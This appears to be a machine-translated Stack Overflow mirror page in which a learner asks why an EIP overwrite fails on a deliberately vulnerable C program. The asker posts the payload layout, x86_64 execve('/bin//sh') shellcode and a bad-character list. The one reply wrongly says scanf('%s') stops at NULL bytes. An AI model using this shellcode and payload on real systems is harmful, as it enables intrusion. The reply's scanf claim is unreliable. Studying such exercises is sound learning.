繁体   English   中英

简单的缓冲区溢出 EIP 覆盖不起作用

[英]Simple buffer overflow EIP overwrite not working

我会在stackexchange上问这个问题,但我已经问过关于这个问题的类似问题,而不是评论,我觉得我会在这里得到更好的结果。

几个星期以来,我一直试图利用这个缓冲区溢出代码断断续续地利用这个代码,我只是不知道其中的诀窍是什么!

我在用 \\x41 或几乎任何其他字符覆盖时控制 EIP,但是当我尝试用有效地址覆盖返回地址时,它 SIGSEGV 指向不同的地址,捕获 SIGSEGV 的地址确实包含我所有的 shell 代码和我的41 等

我有关闭堆栈保护,堆栈是 RWE,我还检查了坏字符,发现了一些不包含任何坏字符的 shell 代码。 如果有人可以提供帮助,我将不胜感激,因为我想要进步,而且在线资源似乎无法解决我的问题。 我已经阅读了为了乐趣和利润而粉碎堆栈,并了解基本的组装基础知识,我已经阅读了大多数在线教程,它们大部分都是多余的,我一直在阅读我认为与我的场景相关的任何 stackoverflow 文章,请你们中的一位专业人士会尝试看看我的问题是什么吗?

uname -a 输出:

Linux windows 4.14.15-1-ARCH #1 SMP PREEMPT Tue Jan 23 21:49:25 UTC 2018 x86_64 GNU/Linux

这是代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void validate(char *pass) {
    if (strcmp(pass, "[REDACTED]") == 0) {
        printf("ACCESS GRANTED!");
        printf("Oh that's just idio... Oh my god!\n");
    } else {
        printf("Damn it, I had something for this...\n");
    }
}

int main(int argc, char** argv) {
    char password[200];
    printf("C:/ENTER PASSWORD: ");
    scanf("%s", password);
    validate(password);
    return 0;
}

这是包含 shellcode 的 Payload,28 个字节:

payload = "\x90"*132+ret+shell+"A"*44

这是shellcode:

\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

坏字符是:

totalbad = "\x09\x0a\x0b\x0c\x0d\x20"

所以根据你的故事,问题是退货地址。 您的无效返回地址是0x41414141 ,它是'AAAA'并且不包含 NULL 字节。 然后您尝试包含 NULL 字节的“有效”返回地址,以便scanf("%s", password); 将停止从标准输入读取。 请记住这里scanf正在读取以 NULL 结尾的字符串,如果您的返回地址包含 NULL 字节,它将停止并解释为什么您的有效负载不完整,shellcode 和 'A'*44 未被复制。 请记住,我只是猜测地址包含 NULL 字节,因为根据您的故事,当您将返回地址更改为有效地址时,问题就开始了。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM